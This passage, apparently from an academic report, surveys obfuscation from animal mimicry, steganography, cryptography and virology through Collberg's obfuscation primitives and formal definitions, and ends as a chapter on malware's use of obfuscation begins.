  "Red to yellow, kill a fellow. Red to black, venom lack." This mnemonic [264] can be used to distinguish the venomous Coral snake from its double, namely the harmless Milk snake as shown in Figures 2.2a and 2.2b. Although this is a classical example of Batesian mimicry, do not use this algorithm to assess the potential threat posed by this kind of snakes as exceptions are not only thrown by software. Just enjoy the colours, walk past the animal and call a professional!

- **Muellerian mimicry**
  In contrast, Muellerian mimicry refers to two or more harmful animal species that mimic each other. Here, all mimics share the benefits of signalling to a common predator that its life will be at risk if it faces the prey [275].

  Figure 2.2c represents the Ranitomeya variabilis whereas 2.2d shows the the Ranitomeya imitator. These are two morphs of the venomous frog family named *Dendrobatidae* that mimic each other [276].

- **Self-mimicry**
  This kind of deception technique, also known as automimicry, refers to animals that have one body part that mimics another to increase the prey’s survival during an attack or helps predators appear harmless [258].

  The Tooth Banded White Caterpillar as shown in Figure 2.2e has fake eyes as well as a fake teeth pattern on its back. In a similar vein, the Serval cat illustrated in Figure 2.2f, has eye patterns on the back of its ears. Both cases are examples of automimicry and have the goal to prevent attacks from the back by deceiving the predator with a false face.
2.1 Obfuscation origins

(a) Coral Snake
The Batesian model
(Source: [28])

(b) Milk Snake
The Batesian double
(Source: [293])

(c) Ranitomeya variabilis
Muellerian mimicry
(Source: [55])

(d) Ranitomeya imitator
Muellerian mimicry
(Source: [54])

(e) Tooth Banded White Caterpillar
Automimicry
(Source: [107])

(f) Serval cat
Automimicry
(Source: [107])

Figure 2.2: Mimicry transformations in action
2.1 Obfuscation origins

2.1.2 Dawn of mankind

Moving from the animal kingdom to our realm, it is very interesting to observe throughout the human history that the art of deception has always been part of our daily lives. Unfortunately, the driver for developing our skills in deception techniques has always been war.

John Keegan described war as a universal phenomenon whose form and scope is defined by the society that wages it. Furthermore, conflicts between individuals, groups, religions and nations are causes of war [281]. But why is this so? What is the higher meaning or abstract goal of war? That is not an ethically simple question to answer, but my theory is that our creator gave us the desire for war with the goal to have an instrument, which can be used to force and ensure our proper life cycle. The analogy in the animal kingdom is the close relationship between predator and prey.

To use the words of Jiddu Krishnamurti: "To destroy is to create." In other words, something old must pass in order that something new can rise. By browsing the human history with focus on deception techniques, I could determine three main areas where we have developed strong skills, namely military camouflage, steganography and cryptography.

Camouflage

It seems that we have learnt and adopted many of the techniques used in the animal kingdom. Beside psychological operations and information warfare, camouflage has become one of the most important techniques to deceive the opponent with regards to the presence, location and intentions of military formations [273]. Thereby, it addresses the main sense of human orientation, namely its vision by using techniques such as concealment, disguise and dummies that are applied to troops, positions, vehicles and devices [272].

Last year, the American company Realtree launched its new range of camouflage gears, which are unbelievably effective in blending the human predators into their surroundings as shown in Figures 2.3a and 2.3b. In addition, these two examples represent the analogy to crypsis in the animal realm.

![Figure 2.3: The human predator (Source: [51])](image)

Furthermore, the non-visual stealth technology of vehicles, aircraft and ships
has advanced, too. For example, radar-absorbing materials such as carbonyl iron are used to reduce the radar signature that in turn is used for detection [278].

Going back to the beginning of advanced civilizations such as the Egyptian, Persian, Greek and the Chinese, they all have one in common. Their kings, queens and generals have all relied on secret and secure communication in order to govern their countries and armies. Moreover, it was the threat of enemy interception, which motivated the development of covert communication based on codes and ciphers [203]. Figure 2.4 chronologically illustrates the highlights of the techniques introduced to provide secret communication. In addition, there have been breakthroughs recently in cryptography and obfuscation, namely the invention of a fully homomorphic encryption scheme and a proposal for creating indistinguishable obfuscation, which consequences are discussed in chapter 4.

Figure 2.4: Time-line of secret communication techniques (Sources: [182, 105, 65, 64])

Readers interested in historical details are referred to David Kahn’s master piece named *The Codebreakers* that is probably the most comprehensive historical book about secret communications through the ages [99].

**Steganography**

Steganography is derived from the Greek word *steganos* meaning secret and *graphy* that stands for writing or drawing. Therefore, it is all about secret writing and represents the study of techniques for ensuring confidentiality by hiding the existence of a secret message. Thereby, the sender of a secret message hides the so called **covert message** in a host file. This host file, also known as **overt message**, is visible by everyone and used to carry the covert message to its intended destination without attracting any attention [45]. Classical steganographic techniques, i.e. techniques used before the digital age, are divided into the following two areas [279]:

1. **Linguistic Steganography**

   Text is everywhere, so why not use it as the carrier? This is where linguistic steganography comes in. It is further distinguished between the following types:

   - **Semagram**
     
     Text semagrams are based on graphical modifications of text, i.e. tiny details such as different typefaces, spaces or loose fonts (old typewriter effect) are used to insert secret information. The main drawback of these
techniques is that they are all visible. The classical example is the application of the Bacon cipher [260].

In addition, there is also the concept of a visual semagram where an image represents the carrier. In this case, only the knowledge about the right interpretation of objects on the image can reveal the secret information. For example, the number of specific fruits on a tree or the pointing direction of a weapon’s barrel could be used to hide secret information.

- **Open code**

  When developing open codes, only the own imagination presents the boundaries. Open codes are proprietary and based on secret patterns invented to hide private information. Here, classical examples are Cardano’s grille [99] or the Bible code, also known as Torah code [263]. In addition, jargon code is another example of open code, which is still heavily in use today and could recently be detected in China’s online underground economy [97].

2. **Technical Steganography**

These techniques are based on using physical or chemical means such as invisible inks, photo mechanical reduction to implement micro dots or the human body (e.g. shaved head) to transport secret information.

Again, the resemblance of these techniques to the described animal camouflage techniques in section 2.1.1 are striking! However, the lack of fulfilling Kerckhoff’s second principle, namely that the security of a cryptosystem should not require secrecy, was the motivation for creating steganographic schemes based on the design principles of modern cryptographic systems. This approach resulted in schemes for secret-key and public-key stegosystems analogues to their cryptosystem counterparts. The main advantage of using such a scheme is that an adversary does not only need the knowledge about a hidden message, but also have to possess the right key in order to extract the secret information [32]. Furthermore, steganographic techniques have become more powerful than ever by entering the digital age. Whether hiding information in multimedia data such as audio or video, using mobile devices, operating systems, virtual environments or network protocols, the possibilities appear to be unlimited [182, 45, 233]. The consequences concerning malware are discussed in chapter 4.

**Cryptography**

Cryptography is derived from the Greek word crypt meaning hidden and graphy, which stands for writing or drawing. In contrast to steganography, it is the science of secret writing with the goal to ensure confidentiality by hiding the meaning of a secret message. Thereby, the sender of a secret message chooses a secret key as the input to an algorithm that encrypts the plaintext form of the secret message into an unintelligible form referred to as the ciphertext. In addition, the receiver must also be in possession of the secret key as well as the algorithm in order to retrieve the plaintext by decrypting the ciphertext. So, the main difference is that an adversary
2.1 Obfuscation origins

can have the knowledge about the existence and also access to the secret message. However, the adversary is not able to understand the meaning of the secret message by reading it as it resides in an unintelligible form without having the secret key that is assumed to be unknown by the adversary. Classical cryptographic techniques are divided into the following two types of ciphers [182, 123]:

1. **Substitution cipher**
   This type of cipher is based on replacing symbols or symbol groups of the plaintext by other symbols or symbol groups of the same alphabet or a completely different alphabet. Thereby, the substitution algorithm determines in combination with the influence of the secret key how the mapping between plaintext and ciphertext is done.

2. **Transposition cipher**
   Plaintext permutation builds the basis of a transposition cipher. Here, the transposition algorithm determines the permutation based on the influence of the secret key.

Classical implementations of substitution and transposition are not used in modern cryptographic systems anymore, but their approach is still heavily in use. Substitution and transposition are not used individually, but in combination to build *S/P networks*, which are fundamental elements in today’s cryptographic systems by providing *confusion* and *diffusion*. Moreover, after the invention of the Feistel cipher that built the basis of the DES algorithm, as well as the outbreak of the revolutionary concept of public-key, cryptography has grown to a well studied, fascinating and mature branch of mathematics. Whether on the Internet, wireless local area networks, mobile telecommunications, secure payment and transactions, video broadcasting, identity cards, cars or medical implants, cryptography is everywhere and indispensable [120]. In addition, it seems that cryptography is a true man-kind invention that does not have an analogy in the animal realm.

2.1.3 Human virology

From the journey of deception techniques used by human beings, the focus is now turned to our internal protection system, which tries to keep us alive by holding potentially dangerous intruders off. The threat landscape of the human immune system is mainly made up by viruses, which are the trigger for human disease. A virus is an obligatory parasite, i.e. its reproduction and survival relies on the biochemical machinery of its host cell. In addition, it builds the frontier between living and non-living organisms [90]. Moreover, it consists of the following three parts [280]:

1. **Genes** made from either RNA or DNA representing molecules that carry genetic information or instructions, which code behaviour

2. A **protein coat**, which protects these genes

3. An optional **envelope of fat** surrounding the coat
Furthermore, many virus forms also have spikes on their envelope or a chemical coating that are used to penetrate the targeted cell. Once a specific cell is penetrated, there are two variants, which are used by a virus to replicate itself [18]:

- **Lysogenic cycle**
  In this scenario, the DNA of the virus is combined with the host cell’s DNA. In turn, the host cell replicates itself with the infected code as illustrated in Figure 2.5.

- **Lytic cycle**
  As shown in Figure 2.5, the DNA or RNA of the virus is injected into the host cell where copies of the virus are made. Finally, the virus copies are released by breaking through the host cell’s membrane.

Although the human immune system provides a generic way via the *Innate immune system* as well as a specialised approach through the *Adaptive immune system* to detect and eliminate viruses, there are virus variants over and over again, which can overcome the immune system and stay undetected. But why is this so? The answer lies within the effectiveness of the deception mechanisms used by viruses.

**Polymorphism**

The replication process of a virus is error prone, i.e. there are random errors while the virus is duplicating its genetic information resulting in new morphs of the virus.
Mixing or DNA shuffling is another approach to implement polymorphism. Thereby, the virus is able to combine different parts among different types in order to create a hybrid morph.

Influenza is an excellent example of a virus with remarkable deception techniques by implementing a multi-level adaptation mechanism and the reason why we are infected by flue annually. Thereby, it consists of a point mutation mechanism caused by random errors and a mechanism for altering the virus’ properties in a single generation through gene-level mixing with other viruses [18, 89].

**Tampering**

Tampering is an active approach to achieve obfuscation by attacking the immune system itself. Once infected and therefore compromised, the immune system is not able to detect infected cells anymore. Quite the contrary, it facilitates the spread of the virus with its own infected cells.

HIV is unfortunately the most suitable example that demonstrates the effectiveness of stealth through tampering by infecting the immune system. In addition, it relies on infecting long-life cells in order to ensure that a copy of the virus always exists, even after years of treatment [18].

**Dormant cells**

As the attack strategy of biological viruses is based on outnumbering defences of the immune system, the vast majority of viruses are not effective straight away. They either have not replicated enough or they lack a specific trigger that causes the start of the replication process. Furthermore, most humans already carry a substantial and silent viral load. As soon as the specific trigger is pulled by an appropriate external or internal signal, the cryptic virus is activated. However, it takes time between the infection and the first symptoms of the resulting disease, which is known as the incubation period. Nevertheless, it is quite frightening to learn that our body resembles a time-bomb!

Herpes simplex for example is carried by a significant fraction of the human population and lies dormant inside cells. There, it waits to be triggered by an environmental assault such as cuts, chafing, infection by an unrelated disease as well as physical or mental stress [27, 18].

### 2.2 Obfuscation primitives

As described in section 2.1, it is highly fascinating to learn that regardless of which realm we enter, all obfuscation techniques have been developed in order to increase the chance to execute or prevent an attack successfully.

I then asked myself, how can we break all these obfuscation mechanisms up into primitives like we did in cryptography, i.e. in cryptographic primitives such as hash functions, block ciphers, random sequences, etc. as defined by Menezes et al. in [123]? During my research, I have become a great fan and supporter of Christian Collberg’s work in the area of *Surreptitious Software*. Collberg et al. defined eleven...
primitives, which can be used to build every obfuscation scheme [47]. Moreover, I have tried to come up with scenarios that cannot be built with these primitives or a combination of them, but I have failed all the time. Therefore, I have elected them as my foundation in order to analyse and categorise the obfuscation mechanisms used in malware as described in chapter 3.

Figure 2.6 shows my approach where I have tried to map the eleven primitives to the abstract security goals of an attacker or defender in terms of the CIA triad, namely confidentiality, integrity and availability. Whether being an attacker or a defender, both parties have various goals concerning the security of their systems. Thereby, these goals can be achieved through deception by implementing obfuscation mechanisms based on these primitives that are able to fulfil the corresponding security policy. In the following sections, the eleven primitives are introduced and described based on the definitions in [47]. Furthermore, concrete implementations from different realms are provided, too.

2.2.1 Cover primitive
You cannot fight what you cannot see. So, one of the most fundamental ways to achieve confidentiality is to hide an object by covering it with another object.

Implementation examples

- Animal kingdom
  As described in section 2.1.1, camouflage is the implementation of the cover primitive in the wild.

![Figure 2.6: Obfuscation primitives overview (Source: [47])](image-url)
2.2 Obfuscation primitives

- **Dawn of mankind**
  The steganographic techniques introduced in 2.1.2 are all concrete implementations of this primitive.

- **Virology**
  As described in section 2.1.3, the protein coat that protects the instructions of the virus, namely its DNA, represents a concrete implementation of the cover primitive.

- **Computer science**
  - Software: All digital steganographic approaches as well as data archivers such as ZIP, JAR, etc. can be implemented by this primitive.
  - Hardware: The case of a computer covers sensitive components such as the CPU, RAM, ROM, etc. and therefore implements the cover primitive.

2.2.2 Duplicate primitive

This primitive simply adds redundancy and is able to ensure integrity and availability. Thereby, it can be either used as a decoy by making the search space for a secret much bigger for an adversary or it can force an adversary to destroy all copies added.

**Implementation examples**

- **Animal kingdom**
  As mentioned by Dr. Collberg, the Puffer fish is an excellent example. It spawns 200,000 offspring in order that at least a few will survive and carry on its parents’ legacy.

- **Dawn of mankind**
  In the Second World War, the Nazis used a counter-espionage operation called Funkspiel that is the German translation for radio play. It acted as a decoy and provided the enemy with false information [99].

- **Virology**
  As described in 2.1.3, the attack strategy of viruses such as HIV is based on outnumbering the defences of the immune system, i.e. the virus reduplicates itself until it has overcome the immune system, which in turn is not able to fight back anymore.

- **Computer science**
  - Software: Functions of any programming language can be copied and transformed through code obfuscation [48] while preserving their semantics. Thereby, a call to different versions of the exactly same function adds confusion and slows down the reverse engineering process.
  - Hardware: Adding redundancy via backup systems is the analogy of the duplicate primitive in the HW world.
2.2 Obfuscation primitives

2.2.3 Split and merge primitives

These two primitives often go hand in hand and can be used to achieve confidentiality by adding mass confusion. The split primitive breaks up a secret object into smaller parts in order that it becomes easier to hide or protect. In contrast, the merge primitive blends two unrelated objects together with the goal that they appear to be related. Furthermore, shrinking and expanding are two variations of split and merge.

Implementation examples

- **Animal kingdom**
  The analogy in the wild is called autotomy or self amputation [259]. Thereby, some species such as the Lizard are able to discard one or more parts of themselves (split) in order to distract an adversary. Later, the lost body part can be regenerated again (merge).

- **Dawn of mankind**
  Criminals split themselves up into smaller networks with the goal that the police cannot catch them all at once. They merge again for special appointments or missions.

- **Virology**
  In contrast to viruses as described in 2.1.3, Bacteria are one-celled living organisms and contain a complete set of genetic codes [261]. They divide asexually, i.e. they split themselves without the help of genetic material from another individual and merge to become a colony.

- **Computer science**
  - Software: Two unrelated functions $a$ and $b$ can be split up into sub functions $a_0, a_1, \ldots, a_n$ and $b_0, b_1, \ldots, b_n$ with $n \in \mathbb{N}_0$. In turn, merging the unrelated sub functions $a_0 || b_0, a_1 || b_1, \ldots, a_n || b_n$ and delegating all calls to $a$ or $b$ to this unification of unrelated functions, adds mass confusion to the reverse engineering process.
  
  - Hardware: Key-splitting is based on the quorum approach [225] by splitting a key into several sub-keys in order to distribute the power of accessing a secret object among different individuals. Thereby, only merging all sub-keys can grant access to the secret object, i.e. all individuals must be present with their sub-keys.

2.2.4 Reorder primitive

This primitive achieves confidentiality by permuting objects in a random order and therefore creating confusion. In addition, it can also introduce new information.
2.2 Obfuscation primitives

Implementation examples

- **Animal kingdom**
  No implementation found.

- **Dawn of mankind**
  As introduced in 2.1.2, transposition ciphers are concrete implementations of the reorder primitive.

- **Virology**
  No implementation found.

- **Computer science**
  - Software: In code obfuscation algorithms, the reorder primitive is implemented in order to destroy the object orientation by reordering data (i.e. instance variables, methods and arrays) or the control of the software (i.e. statements, loops and expressions) [48].
  - Hardware: No implementation found.

2.2.5 Indirect primitive

The indirect primitive can be used to implement confidentiality through confusion by replacing an object by a reference to it.

Implementation examples

- **Animal kingdom**
  No implementation found.

- **Dawn of mankind**
  A good example of implementing the indirect primitive is the use of open codes as introduced in 2.1.2. Thereby, a triple such as \{149, 30, 6\} could be used with the meaning of taking the book *Secret & Lies* written by Bruce Schneier [197] and navigating to the page 149, row 30 and column 6 resulting in the secret word *Kerberos*. In this case, it is assumed that the correct context, namely the name of the book has been already distributed to the corresponding participants via a secure channel.

- **Virology**
  No implementation found.

- **Computer science**
  - Software: Pointer aliasing is an implementation of the indirect primitive and used in code obfuscation algorithms to create mass confusion. In addition, it is known to be undecidable in general cases and NP-hard in specific ones [183, 85].
  - Hardware: No implementation found.
2.2.6 Map primitive

Confidentiality can be achieved through this primitive by mapping every element of a component to something different, i.e. to elements of a different alphabet. The result is confusion.

Implementation examples

- **Animal kingdom**
  No implementation found.

- **Dawn of mankind**
  Translation of a natural language is an excellent example of a mapping implementation. Thereby, for every word \( w \) of a language \( L_1 \in \mathcal{L} \), there is a mapping from \( w \) to a word \( w' \) of another language \( L_2 \in \mathcal{L} \) where \( \mathcal{L} \) represents the set of all natural languages. Probably the most famous example of creating confusion via a natural language was the role of the Navajo Code Talkers in the Second World War where they confused the Japanese with a language unfamiliar to them [99].

- **Virology**
  No implementation found.

- **Computer science**
  - Software & Hardware: As introduced in 2.1.2, substitution ciphers are concrete implementation examples of this primitive.

2.2.7 Mimic primitive

The mimic primitive achieves integrity and availability by distracting or scaring off an adversary. This is either done by impersonating someone to the detriment of the adversary or by adopting some useful and mighty properties of something.

Implementation examples

- **Animal kingdom**
  As described in section 2.1.1, mimicry is one of the main deception primitives used in the animal realm.

- **Dawn of mankind**
  Human beings are great in mimicking, especially psychopaths. The lack of real emotions helps them to build up different traits by mimicking those around them [149].

- **Virology**
  Not implementation found.

- **Computer science**
– Software: In [233], there are algorithms proposed for creating grammar-based mimic functions that are found in our daily lives and also capable of hiding a secret message steganographically as described in 2.1.2.

– Hardware: Fake cameras are non-functional cameras, which are used to fool intruders or to make anyone believe that the camera’s range of coverage is fully under control [253].

2.2.8 Advertise primitive

In contrast to the other primitives described so far, this primitive achieves integrity and availability by presenting its strong properties to the adversary in the hope that the adversary will stay away. So, it represents the opposite of security through obscurity. Moreover, a false advertisement can be seen as a variant of the mimic primitive introduced in 2.2.7.

Implementation examples

• Animal kingdom
  Toxic species such as the venomous frogs introduced in section 2.1.1 use aposematic colouration to advertise their harmfulness.

• Dawn of mankind
  Criminals such as robbers usually use handguns to threaten bank officers in order to enforce their intents.

• Virology
  No implementation found.

• Computer science
  – Software: Users of highly sensitive systems or with highly privileged access rights are advised that they are monitored and that every malicious attempt is going to be audited and detected resulting in a potential penalty.
  – Hardware: High voltage power lines usually have a danger sign that advise caution.

2.2.9 Tamper-proof primitive

This primitive is also known as detect-respond primitive and achieves integrity as well as availability. It bases on a hidden functionality that reacts in case of the occurrence of a specific event. Thereby, its reactions vary from self-destruction to destroying objects in its surrounding environment or regenerating tampered parts.


2.2 Obfuscation primitives

Implementation examples

- **Animal kingdom**
  The combination of exoskeletons with toxic flesh represents one of the tamper-proof implementations used in the wild. An adversary that overcomes the exoskeleton is going to collapse at the defender’s poison. As mentioned by Dr. Collberg, the hawksbill sea turtle is a great example that has both properties [270].

- **Dawn of mankind**
  One example of the tamper-proof primitive in our realm is the use of a dead man’s switch [267]. Unfortunately, it is a dual-use good and therefore can be misused. It is often seen that criminals use a dead man’s switch to bind their health to a harmful device such as a bomb. In case of a capture, the harmful device can be manually triggered via the switch. On the other hand, if the criminals’ heart stops beating, the harmful device is triggered automatically.

- **Virology**
  The analogy of the dead man’s switch is represented by the dormant cells introduced in section 2.1.3.

- **Computer science**
  - Software: Host based IDS [271] store cryptographic checksums of sensitive binaries or memory locations in their databases, i.e. hashes such as SHA-1 [63] for weak integrity and message authentication codes such as HMAC [218] for strong integrity. In case of a mismatch, the binary or memory location is flagged as tampered and immediately replaced by the original version.
  - Hardware: HSMs or secure elements such as a SIM or a TPM represent the analogy of the tamper-proof primitive in the HW world by implementing side-channel countermeasures and tamper-protection measures in order to protect sensitive cryptographic keys as well as processes [121, 119].

2.2.10 Dynamic primitive

As generally known, change is inevitable and mainly builds the basis of this primitive. Integrity and availability are ensured through continuous change that involves fast and unpredictable movement resulting in confusion as well as evolution of defence.

Implementation examples

- **Animal kingdom**
  In the animal realm, if you are faster than your adversary, then you cannot be caught. But, once you are caught, the game is over! A concrete example is the predator-prey game played by the mountain lion (v = [64, 80] km/h) [265] and the pronghorn antelope (v = [56, 88] km/h) [277].
• **Dawn of mankind**
  In military, dynamic change is of paramount importance, too. To speak from my own experience as part of the Swiss army telecommunication troop, we always have to be in continuous movement to ensure our mobility and availability. In addition, our integrity is implicitly protected by our appearance at unpredictable locations from the adversary’s point of view.

• **Virology**
  As introduced in 2.1.3, polymorphism implements the dynamic primitive in virology.

• **Computer science**
  – Software: Approaches based on software diversity and game theory are excellent examples of the dynamic primitive in the software world and seem to represent a promising framework with regards to building novel security mechanisms [153].
  – Hardware: No implementation found.

2.2.11 Composition primitive
The composition primitive is not a real primitive like the others described in sections 2.2.1 to 2.2.10. It is used to combine those primitives with the goal to achieve a layered protection scheme. Therefore, it is able to satisfy all abstract security goals introduced in 2.2, namely confidentiality, integrity and availability.

2.3 Definitions of Obfuscation
Now having a complete set of primitives that are capable of building every possible obfuscation scheme, how can we define obfuscation?

  From now on, the focus is solely turned on obfuscation mechanisms of modern computer systems. As mentioned in section 2.2, obfuscation techniques are strongly linked with the relationship between attacker and defender. In order to define obfuscation, we therefore need to compare the cost it takes for an attacker to break the obfuscation mechanisms of a defender with the cost required to implement that mechanisms by a defender. Thereby, cost can be expressed by time, effort or any other representation that can be associated with complexity. In addition, there is the need for a general formal model of obfuscation that holds for all techniques used.

2.3.1 General formal model
A general formal model has been defined by Dr. Collberg based on the following requirements [46]:

1. An obfuscated program must behave the same as the original unobfuscated one. This requirement leads to the definition 2.3.1.
2. An obfuscation must be useful and hide something valuable. This requirement leads to the definition 2.3.2.

3. An obfuscation must be strong and difficult to reverse. This requirement leads to the definitions 2.3.3 and 2.3.4.

**Definition 2.3.1.** (Correct Obfuscation). Let $I$ be an input from a set of inputs $\mathcal{I}$ to a program $P$. An obfuscating transformation $T$ of a program $P$ is correct if and only if
\[ \forall I \in \mathcal{I} : T(P(I)) = P(I). \]

Therefore, an obfuscated program is correct if it still maintains the same functionality as well as all error states.

**Definition 2.3.2.** (Asset). An asset $asset(\cdot)$ represents a derivable property of a program $P$ and its set of inputs $\mathcal{I}$, such that
\[ asset(P, \mathcal{I}) = 1. \]

Thereby, an asset is the valuable or secret part of the program that the defender is interested in hiding. Examples are secret keys, sensitive data encoded, proprietary algorithms or the whole program itself.

**Definition 2.3.3.** (Obfuscating Transformation). Let $P$ be a program over an input set $\mathcal{I}$ and let $asset(P, \mathcal{I})$ be the asset to be protected. Further, let $m(P, asset(\cdot)) \in [0, 1]$ be a metric that measures the difficulty of computing $asset(P, \mathcal{I})$ and let $T(P)$ be a semantics-preserving program transformation. Then $T(P)$ is an obfuscating transformation of $P$ if
\[ m(T(P), asset(\cdot)) > m(P, asset(\cdot)). \]

Furthermore, the metric $m$ strongly depends on the particular asset $asset(P, \mathcal{I})$ and cannot be generalised.

**Definition 2.3.4.** (Strong Obfuscation Transformation). An obfuscation transformation $T$ of a program $P$ is strong if
\[ \frac{m(P, asset(\cdot))}{m(T(P), asset(\cdot))} < \epsilon \]

So, when the cost $\epsilon$ of computing the particular asset $asset(P, \mathcal{I})$ of an obfuscated program is much larger than computing the same asset on the unobfuscated program, then strong obfuscation is achieved.

However, one important question remains. Is strong obfuscation provably secure?
2.3 Definitions of Obfuscation

2.3.2 Provably Secure Obfuscation

Alan Turing proved in [217] that it is undecidable whether a program, represented by an algorithm and its input, will halt or run forever. This implies and proves that it is also undecidable to determine if two programs are equivalent. At a first glance, this fact indicates that provably secure obfuscation may be possible, i.e. viewing the obfuscation of a program \(O(P)\) as virtual black box, an attacker who can compute the protected asset \(asset(O(P), I)\) of the obfuscated program, can also compute it given an oracle access to the unobfuscated program \(P\). Unfortunately, this conclusion is false and is shown by Andrew Appel that obfuscation based on the equivalence problem is not uncomputable, but at most NP-hard. Thereby, the reasoning was based on the fact that an arbitrary de-obfuscator has access to the program and therefore implicit access to the obfuscator [14]. Barak et al. proved that it is impossible to obfuscate programs in the general case. Given a pair of obfuscated programs, it is shown that they always give more information than the oracle access to their unobfuscated versions, i.e. obfuscation leaks secret information [22]! Furthermore, this prove is underpinned by practical settings introduced by Goldwasser, Kalai and Tauman [70].

Fortunately, there are also positive results concerning obfuscation. Analogues to the fact that there exist programs that we can show they will halt or that they are equivalent, we also can obfuscate some specific programs. In the context of perfectly one-way hash functions, Canetti et al. proved that it is possible to obfuscate point functions [33, 34]. In addition, Lynn et al. constructed simple extensions of point functions, namely obfuscators for complex access control mechanisms and regular expressions [116]. Furthermore, Narayanan and Shmatikov introduced mechanisms for obfuscating database records securely [152].

Recently, there have been two remarkable breakthroughs in the theory of cryptography and obfuscation, namely Craig Gentry’s fully homomorphic encryption (FHE) scheme [66] based on ideal lattices and the proposed candidate construction for building indistinguishability obfuscation and functional encryption for all circuits [64] based on Multi-linear Jigsaw Puzzles, which is a subset of multi-linear map-based cryptography. In order to overcome the impossibility results, Barak et al. also introduced the weaker notion of indistinguishable obfuscation that avoids the oracle access paradigm. Given any two equivalent programs \(C_1 \in \mathcal{C}\) and \(C_2 \in \mathcal{C}\) called circuits of a class of circuits \(\mathcal{C}\), an indistinguishability obfuscator \(iO\) ensures that the two obfuscation transformations \(iO(C_1)\) and \(iO(C_2)\) are indistinguishable. In other words, there is no efficient algorithm, which can differentiate between \(iO(C_1)\) and \(iO(C_2)\). Until 2013, it was not known how to construct such an obfuscator and this is where the work of Gentry et. al comes in. Thereby, the FHE is used to secure the indistinguishability obfuscation candidate, which in turn is able to provide functional encryption for all circuits.

In conclusion, the possibility of provably secure obfuscation strongly depends on how obfuscation is defined, the assets to be protected, the considered class of programs and the level of protection that is considered to be sufficient. What is more, to avoid the impossibility of obfuscation, the obfuscated program must not leak any secret information to an attacker.
2.4 Applications of Obfuscation

In the realm of modern computer systems, obfuscation is all about software protection. However, it is much more than just achieving confidentiality by hiding assets through obscurity. The primitives and their combination introduced in section 2.2 are very powerful and result in techniques that are able to achieve integrity as well as availability. Thereby, these techniques are used to implement software protection mechanisms such as code obfuscation, tamper-proofing, watermarking and birth-marking [48, 46].

Furthermore, the resemblance between the techniques used in cryptography and obfuscation are striking. Firstly, both try to achieve confidentiality amongst other security goals by transforming sensitive information into an unintelligible form for a limited time. Secondly, a back-door, i.e. a decryption key in case of cryptography and a de-obfuscator in case of obfuscation, allows an authorized user efficient recovery. However, this fact should not be that surprising as the obfuscation primitives, especially the reorder (section 2.2.4) and map (section 2.2.6) primitive are able to implement every cryptographic primitive and therefore every cryptographic algorithm implicitly. Moreover, as shown by the breakthroughs discussed in 2.3.2, the frontiers between cryptography and obfuscation become more blurred from day to day. As their product creates something superior, completely new doors have been opened, which can lead to major breakthroughs in building secure systems. Although the current state of knowledge concerning these new creations is still immature, there already exist some very interesting application approaches. Indistinguishability obfuscation, for example, can be used for applications such as deniable encryption, public-key encryption schemes based on private-key encryption primitives and oblivious transfer [190, 64] whereas functional encryption embraces applications such as reusable garbled circuits and token-based obfuscation [69].

2.5 Conclusion

Obfuscation is an immemorial art and has many faces. It has evolved through the ages of all living organisms and has always been driven by the will to survive. In addition, it strongly resembles cryptography with a converging tendency. Unfortunately, this also leads to the inheritance of cryptography’s dark side, namely its property of being a dual-use good. What is used by ourselves to protect our systems from evil intent, is also used by our enemies to harden their systems as well as attacks. Whether used in spy communication, corporate espionage or terrorism, malicious software is all around us and becomes stealthier and more resilient with each passing day.

Therefore, the rest of this report is dedicated to malware by focusing on its misuse of obfuscation techniques. Thereby, the next chapter introduces the obfuscation techniques used by malware to ensure its confidentiality, integrity and availability through stealth and resilience.
Part II

CONTRIBUTION
It is fascinating to observe how much vocabulary has been taken in computer science from biology. The term *computer virus* was introduced by Cohen [44] and further terms such as infection, replication, anomaly and behaviour have found their way into the realm of computer science and especially into the anti-virus industry [18]. In addition, obfuscation has not been invented by malware! Malware has adopted all from different realms like the ones introduced in chapter 2. Although the implementations might be different or novel, we have already seen them all, either in the animal kingdom, virology or within mankind. Therefore, the goals of this chapter are to present the state-of-the-art obfuscation techniques used by malware, dissect the obfuscation layers and categorise them by the primitives introduced in 2.2. Furthermore, for each primitive, corresponding countermeasures are suggested as well. What is more, the content of this chapter builds the heart of the proposed malware-oriented obfuscation effectiveness evaluation framework that is presented in chapter 5.

Recalling the definitions 2.3.2 (Asset) and 2.3.3 (Obfuscating Transformation), the interpretation of the malware writer’s view can be described as follows. Given

3

Malware-oriented Obfuscation

<table>
<thead>
<tr>
<th>Contents</th>
<th>3.1 Malicious cover</th>
<th>32</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.2 Malicious duplicate</td>
<td>34</td>
<td></td>
</tr>
<tr>
<td>3.3 Malicious split &amp; merge</td>
<td>38</td>
<td></td>
</tr>
<tr>
<td>3.4 Malicious reorder</td>
<td>41</td>
<td></td>
</tr>
<tr>
<td>3.5 Malicious indirection</td>
<td>43</td>
<td></td>
</tr>
<tr>
<td>3.6 Malicious map</td>
<td>46</td>
<td></td>
</tr>
<tr>
<td>3.7 Malicious mimic</td>
<td>51</td>
<td></td>
</tr>
<tr>
<td>3.8 Malicious advertisement</td>
<td>54</td>
<td></td>
</tr>
<tr>
<td>3.9 Malicious tamper-proofing</td>
<td>57</td>
<td></td>
</tr>
<tr>
<td>3.10 Malicious dynamic</td>
<td>67</td>
<td></td>
</tr>
<tr>
<td>3.11 Conclusion</td>
<td>71</td>
<td></td>
</tr>
</tbody>
</table>
a malware instance $M \in \mathcal{M}$ of the malware family $\mathcal{M}$, an asset $\text{asset}(.)$ represents a derivable property of $M$ and its set of inputs $\mathcal{I}$ such that

$$\text{asset}(M, \mathcal{I}) = 1.$$ 

In case of malware, assets are mainly represented by malicious code such as payloads and replication code or auxiliary data such as cryptographic keys and configuration files. Therefore, the malware-oriented obfuscation techniques presented in this chapter try to protect an asset $\text{asset}(.)$ by either achieving confidentiality, integrity or availability for a limited time. Moreover, this is done by ensuring that

$$m(T(M), \text{asset}(.)) > m(M, \text{asset}(.))$$

where $T$ represents an obfuscating transformation and $m$ a metric that measures the difficulty of computing $\text{asset}(M, \mathcal{I})$.

### 3.1 Malicious cover

Malicious cover is the misuse of the cover primitive introduced in section 2.2.1. When used by malware, it ensures the confidentiality of the malware’s asset for a limited time by covering it with another object.

#### 3.1.1 Archivers

